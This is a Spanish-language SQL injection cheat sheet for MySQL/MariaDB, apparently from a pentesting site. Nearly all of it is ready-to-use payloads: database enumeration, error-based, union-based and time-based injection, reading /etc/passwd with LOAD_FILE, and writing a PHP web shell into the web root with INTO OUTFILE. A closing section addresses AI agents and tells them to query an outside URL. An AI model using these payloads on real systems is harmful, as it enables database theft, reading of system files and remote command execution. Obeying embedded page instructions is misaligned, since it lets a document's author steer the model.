# MySQL / MariaDB

## Enumeración <a href="#enumeracion" id="enumeracion"></a>

### Versión <a href="#enumeracion-version" id="enumeracion-version"></a>

```sql
# Versión
SELECT version()
SELECT @@version
```

### Usuarios <a href="#enumeracion-usuarios" id="enumeracion-usuarios"></a>

```sql
# Usuario actual
SELECT current_user()
SELECT system_user()
SELECT user()

# Listado de usuarios
SELECT user FROM mysql.user
```

### Privilegios <a href="#enumeracion-privilegios" id="enumeracion-privilegios"></a>

```sql
# Privilegios 
SELECT grantee,privilege_type FROM information_schema.user_privileges

# Privilegio de superusuario (Y = Yes)
SELECT super_priv FROM mysql.user WHERE user="<user>"
```

### Bases de datos <a href="#enumeracion-bases-de-datos" id="enumeracion-bases-de-datos"></a>

```sql
# Nombre de base de datos actual
SELECT database()

# Listado de base de datos
SHOW databases
SELECT table_schema FROM information_schema.tables GROUP BY table_schema
```

### Tablas <a href="#enumeracion-tablas" id="enumeracion-tablas"></a>

```sql
# Tablas de base de datos actual
SHOW tables

# Tablas de una base de datos
SELECT table_schema, table_name FROM information_schema.tables WHERE table_schema='<database>'
```

### Columnas <a href="#enumeracion-columnas" id="enumeracion-columnas"></a>

```sql
# Columnas de una tabla
SELECT column_name, data_type from information_schema.columns WHERE table_schema='<database>' AND table_name='<table>'
```

### Datos <a href="#enumeracion-datos" id="enumeracion-datos"></a>

```sql
# Datos de una tabla
SELECT * FROM <database>.<table>
```

## Error-based SQLi <a href="#error-based-sqli" id="error-based-sqli"></a>

```sql
extractvalue('',concat('>',version()))
,+extractvalue('',concat('>',version()))
```

### Bases de datos <a href="#error-based-sqli-bases-de-datos" id="error-based-sqli-bases-de-datos"></a>

```sql
# Nombre de base de datos actual
extractvalue('',concat('>',database()))

# Listado de base de datos
extractvalue('',concat('>',(
	SELECT group_concat(table_schema) 
	FROM (
		SELECT table_schema 
		FROM information_schema.tables 
		GROUP BY table_schema) 
	AS foo)
	)
)
```

### Tablas <a href="#error-based-sqli-tablas" id="error-based-sqli-tablas"></a>

```sql
extractvalue('',concat('>',(
	SELECT group_concat(table_name) 
	FROM (
		SELECT table_name from information_schema.tables
		WHERE table_schema='<database>') 
	AS foo)
	)
)

extractvalue('',concat('>',(
	SELECT group_concat(table_name) 
	FROM (
		SELECT table_name from information_schema.tables
		WHERE table_schema='<database>'
		AND table_name NOT IN ('<table>')) 
	AS foo)
	)
)

# Ir incrementando el valor de offset
extractvalue('',concat('>',(
	SELECT group_concat(table_name) 
	FROM (
		SELECT table_name from information_schema.tables
		WHERE table_schema='<database>'
		limit 1 offset 1)
	AS foo)
	)
)
```

### Columnas <a href="#error-based-sqli-columnas" id="error-based-sqli-columnas"></a>

```sql
extractvalue('',concat('>',(
	SELECT group_concat(column_name) 
	FROM (
		SELECT column_name 
		FROM information_schema.columns 
		WHERE table_schema='<database>' 
		AND table_name='<table>') 
	AS foo)
	)
)

extractvalue('',concat('>',(
	SELECT group_concat(column_name) 
	FROM (
		SELECT column_name 
		FROM information_schema.columns 
		WHERE table_schema='<database>' 
		AND table_name='<table>'
		AND column_name NOT IN ('<column>')) 
	AS foo)
	)
)
```

### Datos <a href="#error-based-sqli-datos" id="error-based-sqli-datos"></a>

```sql
extractvalue('',concat('>',(SELECT substring(<column>,1,32) FROM <table> limit 1 offset 0)))
```

## Union-based SQLi <a href="#union-based-sqli" id="union-based-sqli"></a>

### Bases de datos <a href="#union-based-sqli-bases-de-datos" id="union-based-sqli-bases-de-datos"></a>

```sql
# Nombre de base de datos actual
UNION SELECT 1,database(),3,4-- -
# Listado de base de datos
UNION SELECT 1,schema_name,3,4 FROM information_schema.schemata-- -
```

### Tablas <a href="#union-based-sqli-tablas" id="union-based-sqli-tablas"></a>

```sql
UNION SELECT 1,table_schema,table_name,4 FROM information_schema.tables WHERE table_schema='<database>'-- -
```

### Columnas <a href="#union-based-sqli-columnas" id="union-based-sqli-columnas"></a>

```sql
UNION SELECT 1,column_name,data_type,2 FROM information_schema.columns WHERE table_schema='<database>' AND table_name='<table>'-- -
```

### Datos <a href="#union-based-sqli-datos" id="union-based-sqli-datos"></a>

```sql
UNION SELECT 1,columna1,columna2,4 FROM <database>.<table>-- -
```

### Obtener información dentro de una sola columna <a href="#union-based-sqli-obtener-informacion-dentro-de-una-sola-columna" id="union-based-sqli-obtener-informacion-dentro-de-una-sola-columna"></a>

```sql
UNION SELECT CONCAT(columna1, ' - ', columna2, ' - ', columna3) FROM tabla1-- -
UNION SELECT CONCAT_WS(' - ', columna1, columna2, columna3) FROM tabla1-- -
```

## Time-based SQLi

```sql
AND (SELECT SLEEP(10) FROM dual WHERE database() LIKE '%')
'; SELECT CASE WHEN (1=1) THEN SLEEP(10) ELSE SLEEP(0) END
```

## Lectura y escritura de archivos <a href="#lectura-y-escritura-de-archivos" id="lectura-y-escritura-de-archivos"></a>

Para poder leer y escribir archivos se deben cumplir las siguientes condiciones:

* El usuario debe tener habilitado el privilegio "FILE".
* Valor de la variable global `secure_file_priv`:
  * Un valor vacío nos permite leer y escribir en cualquier directorio.
  * Si se establece un determinado directorio, solo podemos leer y escribir desde la carpeta especificada por la variable.
  * `NULL` significa que no podemos leer y escribir en ningún directorio.
* Acceso de lectura y escritura a la ubicación en la que queremos leer o escribir el archivo.

Obtener valor de la variable global `secure_file_priv`.

```sql
SELECT @@GLOBAL.secure_file_priv
SELECT variable_name, variable_value FROM information_schema.global_variables WHERE variable_name="secure_file_priv"
UNION SELECT 1,variable_name,variable_value,4 FROM information_schema.global_variables WHERE variable_name="secure_file_priv"-- -
```

### Lectura <a href="#lectura-de-archivos" id="lectura-de-archivos"></a>

```sql
SELECT LOAD_FILE('/etc/passwd')
UNION SELECT 1, LOAD_FILE('/etc/passwd'), 3, 4-- -
UNION SELECT 1, LOAD_FILE('/var/www/html/index.php'), 3, 4-- -
```

### Escritura <a href="#escritura-de-archivos" id="escritura-de-archivos"></a>

Escritura de archivos.

```sql
SELECT * FROM <table> INTO OUTFILE '/tmp/file'
SELECT 'test' INTO OUTFILE '/tmp/test.txt'
UNION SELECT 1,'test',3,4 INTO OUTFILE '/var/www/html/test.txt'-- -
```

Escritura de web shell.

{% code title="webshell.php" %}

```php
<?php echo system($_GET['cmd']); ?>
```

{% endcode %}

```sql
UNION SELECT "","<?php echo system($_GET['cmd']); ?>","","" INTO OUTFILE '/var/www/html/webshell.php'-- -
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://web.mrw0l05zyn.cl/explotacion/sql-injection-sqli/mysql-mariadb.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
